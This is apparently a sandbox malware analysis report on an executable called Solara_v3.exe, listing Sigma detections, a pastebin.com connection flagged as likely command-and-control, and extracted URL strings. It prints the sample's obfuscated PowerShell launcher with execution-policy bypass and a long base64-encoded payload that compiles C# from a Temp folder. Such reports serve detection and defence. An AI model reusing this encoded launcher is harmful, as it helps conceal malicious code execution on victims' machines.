GcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAUQAwAEsASQBDAEEAZ
    Sigma detected: Dynamic CSharp Compile Artefact
    Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 652, TargetFilename: C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.cmdline
    Sigma detected: Non Interactive PowerShell Process Spawned
    Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAUQAwAEsASQBDAEEAZ

    Data Obfuscation

    barindex
    Sigma detected: Dot net compiler compiles file from suspicious location
    Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "powershell" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZA

    Suricata Signatures

    ⊘No Suricata rule has matched

    Joe Sandbox Signatures

    Click to jump to signature section

    Show All Signature Results
    Source: Solara_v3.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
    Source: Binary string: D:\a\deno\deno\target\release\deps\deno.pdb source: Solara_v3.exe
    Source: Binary string: Automation.pdbE source: powershell.exe, 00000003.00000002.2179569259.000001E16C037000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.2179137120.000001E16BE20000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: 8C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.pdb source: powershell.exe, 00000003.00000002.2161258730.000001E1016E0000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: 8C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.pdbhP source: powershell.exe, 00000003.00000002.2161258730.000001E1016E0000.00000004.00000800.00020000.00000000.sdmp

    Networking

    barindex
    Connects to a pastebin service (likely for C&C)
    Source: unknownDNS query: name: pastebin.com
    Source: Joe Sandbox ViewIP Address: 104.20.4.235 104.20.4.235
    Source: Joe Sandbox ViewIP Address: 104.20.4.235 104.20.4.235
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: global trafficDNS traffic detected: DNS query: pastebin.com
    Source: Solara_v3.exeString found in binary or memory: http://.css
    Source: Solara_v3.exeString found in binary or memory: http://.jpg
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://bjoern.hoehrmann.de/utf-8/decoder/dfa/
    Source: Solara_v3.exeString found in binary or memory: http://html4/loose.dtd
    Source: Solara_v3.exeString found in binary or memory: http://man7.org/linux/man-pages/man2/shutdown.2.html
    Source: Solara_v3.exeString found in binary or memory: http://my.json.host/data.json
    Source: powershell.exe, 00000003.00000002.2173830740.000001E110075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2173830740.000001E1101B7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
    Source: powershell.exe, 00000003.00000002.2161258730.000001E100235000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
    Source: powershell.exe, 00000003.00000002.2161258730.000001E100001000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
    Source: Solara_v3.exeString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
    Source: powershell.exe, 00000003.00000002.2161258730.000001E100235000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
    Source: Solara_v3.exe, 00000000.00000003.2037592218.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.unicode.org/Public/UNIDATA/EastAsianWidth.txt
    Source: powershell.exe, 00000003.00000002.2161258730.000001E100001000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
    Source: Solara_v3.exe, 00000000.00000003.2037592218.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://console.spec.whatwg.org/#console-namespace
    Source: powershell.exe, 00000003.00000002.2173830740.000001E1101B7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
    Source: powershell.exe, 00000003.00000002.2173830740.000001E1101B7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
    Source: powershell.exe, 00000003.00000002.2173830740.000001E1101B7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
    Source: Solara_v3.exeString found in binary or memory: https://crbug.com/v8/8520
    Source: Solara_v3.exeString found in binary or memory: https://crbug.com/v8/8520turbo_fast_api_callsenable
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/favicon.icodevtools://devtools/bundled/inspector.html?v8only=true&ws=
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/favicon.icodevtools://devtools/bundled/inspector.html?v8only=true&ws=ED
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/manual
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/manual/linking_to_external_code/import_maps
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/manual/runtime/compiler_apis#denobundle).
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/std
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/std/
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/std/examples/cat.ts
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/std/examples/colors.ts
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/std/examples/colors.tsGenerate
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/std/examples/welcome.ts
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/std/fmt/colors.ts
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/std/fs/utils.ts
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/std/http/file_server.ts
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/std/testing/asserts.ts
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/x/
    Source: Solara_v3.exeString found in binary or memory: https://deno.land/x/example/types.d.ts
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://deno.land:80
    Source: Solara_v3.exeString found in binary or memory: https://developer.mozilla.org/)
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/WorkerGlobalScope)
    Source: Solara_v3.exeString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Compile
    Source: Solara_v3.exeString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global)
    Source: Solara_v3.exeString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instanc
    Source: Solara_v3.exeString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkErr
    Source: Solara_v3.exeString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory)
    Source: Solara_v3.exeString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module)
    Source: Solara_v3.exeString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Runtime
    Source: Solara_v3.exeString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table)
    Source: Solara_v3.exeString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/compile
    Source: Solara_v3.exeString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/instant
    Source: Solara_v3.exeString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/validat
    Source: Solara_v3.exeString found in binary or memory: https://dl.deno.land/canary-latest.txt
    Source: Solara_v3.exeString found in binary or memory: https://dl.deno.land/canary/
    Source: Solara_v3.exeString found in binary or memory: https://dl.deno.land/canary/(b
    Source: Solara_v3.exe, 00000000.00000000.2035091772.00007FF6A1235000.00000002.00000001.01000000.00000003.sdmp, Solara_v3.exe, 00000000.00000002.2193400478.00007FF6A1235000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: https://dl.deno.land/canary/(ba
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://dom.spec.whatwg.org/#concept-event-listener-inner-invoke
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://dom.spec.whatwg.org/#concept-event-listener-invoke
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://dom.spec.whatwg.org/#concept-event-path-append
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://dom.spec.whatwg.org/#concept-shadow-including-inclusive-ancestor
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://dom.spec.whatwg.org/#event-path
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://dom.spec.whatwg.org/#get-the-parent
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://dom.spec.whatwg.org/#retarget
    Source: Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://fetch.spec.whatwg.org/#body-mixin
    Source: Solara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://fetch.spec.whatwg.org/#concept-construct-readablestream
    Source: Solara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://fetch.spec.whatwg.org/#concept-filtered-response-basic
    Source: Solara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://fetch.spec.whatwg.org/#concept-headers-append
    Source: Solara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://fetch.spec.whatwg.org/#concept-headers-fill
    Source: Solara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://fetch.spec.whatwg.org/#concept-network-error
    Source: Solara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://fetch.spec.whatwg.org/#cors-safelisted-response-header-name
    Source: Solara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://fetch.spec.whatwg.org/#dom-headers
    Source: Solara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://fetch.spec.whatwg.org/#forbidden-response-header-name
    Source: Solara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://fetch.spec.whatwg.org/#ref-for-dom-body-formdata
    Source: Solara_v3.exeString found in binary or memory: https://github.com/Microsoft/TypeScript/issues/2577)
    Source: powershell.exe, 00000003.00000002.2161258730.000001E100235000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
    Source: Solara_v3.exeString found in binary or memory: https://github.com/WICG/import-maps#the-import-mapSet
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/beatgammit/base64-js
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/beatgammit/base64-js/issues/42
    Source: Solara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/bitinn/node-fetch/blob/master/src/headers.js
    Source: Solara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/chalk/ansi-regex/blob/2b56fb0c7a07108e5b54241e8faec160d393aedb/index.js
    Source: Solara_v3.exeString found in binary or memory: https://github.com/clap-rs/clap/issues
    Source: Solara_v3.exeString found in binary or memory: https://github.com/clap-rs/clap/issuesH9
